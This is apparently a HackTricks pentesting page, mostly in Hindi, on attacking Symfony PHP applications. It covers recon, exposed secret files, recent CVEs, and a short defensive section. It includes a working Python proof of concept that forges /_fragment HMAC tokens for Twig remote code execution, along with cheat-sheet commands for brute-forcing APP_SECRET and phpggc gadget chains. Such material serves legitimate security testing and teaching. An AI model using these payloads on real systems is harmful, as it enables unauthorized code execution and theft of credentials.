Symfony

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Symfony सबसे व्यापक रूप से उपयोग किए जाने वाले PHP फ्रेमवर्क में से एक है और नियमित रूप से एंटरप्राइज, ई-कॉमर्स और CMS लक्ष्यों (Drupal, Shopware, Ibexa, OroCRM … सभी Symfony घटकों को एम्बेड करते हैं) के आकलनों में दिखाई देता है। यह पृष्ठ आक्रामक सुझावों, सामान्य गलत कॉन्फ़िगरेशन और हाल की कमजोरियों को एकत्र करता है जिन्हें आपको एक Symfony एप्लिकेशन खोजने पर अपनी चेकलिस्ट में शामिल करना चाहिए।

ऐतिहासिक नोट: पारिस्थितिकी तंत्र का एक बड़ा हिस्सा अभी भी 5.4 LTS शाखा (EOL नवंबर 2025) पर चल रहा है। हमेशा सटीक छोटे संस्करण की पुष्टि करें क्योंकि कई 2023-2025 सुरक्षा सलाहकार केवल पैच रिलीज़ में ठीक किए गए थे (जैसे 5.4.46 → 5.4.50)।


Recon & Enumeration

Finger-printing

  • HTTP प्रतिक्रिया हेडर: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link या कुकीज़ जो sf_redirect, sf_session, MOCKSESSID से शुरू होती हैं।
  • स्रोत कोड लीक (composer.json, composer.lock, /vendor/…) अक्सर सटीक संस्करण प्रकट करते हैं:
bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • सार्वजनिक मार्ग जो केवल Symfony पर मौजूद हैं:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (सुंदर त्रुटि पृष्ठ)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith या ffuf/feroxbuster शब्दसूचियाँ: symfony.txt/_fragment, /_profiler, .env, .htaccess के लिए देखें।

Interesting files & endpoints

PathWhy it matters
/.env, /.env.local, /.env.prodअक्सर गलत तरीके से तैनात → लीक APP_SECRET, DB creds, SMTP, AWS keys
/.git, .svn, .hgस्रोत प्रकटीकरण → क्रेडेंशियल + व्यावसायिक तर्क
/var/log/*.log, /log/dev.logवेब-रूट गलत कॉन्फ़िगरेशन स्टैक-ट्रेस को उजागर करता है
/_profilerपूर्ण अनुरोध इतिहास, कॉन्फ़िगरेशन, सेवा कंटेनर, APP_SECRET (≤ 3.4)
/_fragmentESI/HInclude द्वारा उपयोग किया जाने वाला प्रवेश बिंदु। एक बार जब आप APP_SECRET जानते हैं तो दुरुपयोग संभव है
/vendor/phpunit/phpunit/phpunitयदि सुलभ हो तो PHPUnit RCE (CVE-2017-9841)
/index.php/_error/{code}Finger-print & कभी-कभी अपवाद ट्रेस लीक

High-impact Vulnerabilities (2023-2025)

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 मूल रूप से, लेकिन अभी भी आधुनिक लक्ष्यों पर दिखाई देता है जब डिबग सक्षम छोड़ दिया जाता है या .env उजागर होता है।
  • एक बार जब आप 32-चर APP_SECRET जानते हैं, तो एक HMAC टोकन तैयार करें और मनमाने Twig को निष्पादित करने के लिए आंतरिक render() नियंत्रक का दुरुपयोग करें:
python
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • उत्कृष्ट लेखन और शोषण स्क्रिप्ट: Ambionics ब्लॉग (संदर्भ में लिंक किया गया)।

2. Windows Process Hijack – CVE-2024-51736

  • Process घटक ने Windows पर PATH से पहले वर्तमान कार्यशील निर्देशिका की खोज की। एक हमलावर जो एक लिखने योग्य वेब-रूट में tar.exe, cmd.exe, आदि अपलोड करने में सक्षम है और Process को ट्रिगर करता है (जैसे फ़ाइल निष्कर्षण, PDF निर्माण) कमांड निष्पादन प्राप्त करता है।
  • 5.4.50, 6.4.14, 7.1.7 में पैच किया गया।

3. Session-Fixation – CVE-2023-46733

  • प्रमाणीकरण गार्ड ने लॉगिन के बाद एक मौजूदा सत्र ID का पुन: उपयोग किया। यदि एक हमलावर कुकी सेट करता है पहले पीड़ित प्रमाणीकरण करता है, तो वे लॉगिन के बाद खाते को हाईजैक कर लेते हैं।

4. Twig sandbox XSS – CVE-2023-46734

  • उन अनुप्रयोगों में जो उपयोगकर्ता-नियंत्रित टेम्पलेट्स (व्यवस्थापक CMS, ईमेल बिल्डर) को उजागर करते हैं, nl2br फ़िल्टर का दुरुपयोग किया जा सकता है ताकि सैंडबॉक्स को बायपास किया जा सके और JS इंजेक्ट किया जा सके।

5. Symfony 1 gadget chains (अभी भी विरासती ऐप्स में पाए जाते हैं)

  • phpggc symfony/1 system id एक Phar पेलोड उत्पन्न करता है जो RCE को ट्रिगर करता है जब sfNamespacedParameterHolder जैसी कक्षाओं पर unserialize() होता है। फ़ाइल-अपलोड अंत बिंदुओं और phar:// रैपर की जांच करें।

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

कमजोर APP_SECRET का ब्रूटफोर्स

bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via exposed Symfony Console

यदि bin/console php-fpm या सीधे CLI अपलोड के माध्यम से पहुँच योग्य है:

bash
php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Use deserialization gadgets inside the cache directory or write a malicious Twig template that will be executed on the next request.


Defensive notes

  1. कभी भी debug (APP_ENV=dev, APP_DEBUG=1) को production में लागू न करें; वेब-सेवा कॉन्फ़िगरेशन में /app_dev.php, /_profiler, /_wdt को ब्लॉक करें।
  2. रहस्यों को env vars या vault/secrets.local.php में स्टोर करें, कभी भी उन फ़ाइलों में नहीं जो दस्तावेज़-रूट के माध्यम से सुलभ हैं।
  3. पैच प्रबंधन को लागू करें – Symfony सुरक्षा सलाहकारियों की सदस्यता लें और कम से कम LTS पैच-स्तर बनाए रखें।
  4. यदि आप Windows पर चलाते हैं, तो तुरंत अपग्रेड करें ताकि CVE-2024-51736 को कम किया जा सके या open_basedir/disable_functions रक्षा-गहराई जोड़ें।

Useful offensive tooling

  • ambionics/symfony-exploits – secret-fragment RCE, debugger routes discovery.
  • phpggc – Ready-made gadget chains for Symfony 1 & 2.
  • sf-encoder – small helper to compute _fragment HMAC (Go implementation).

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें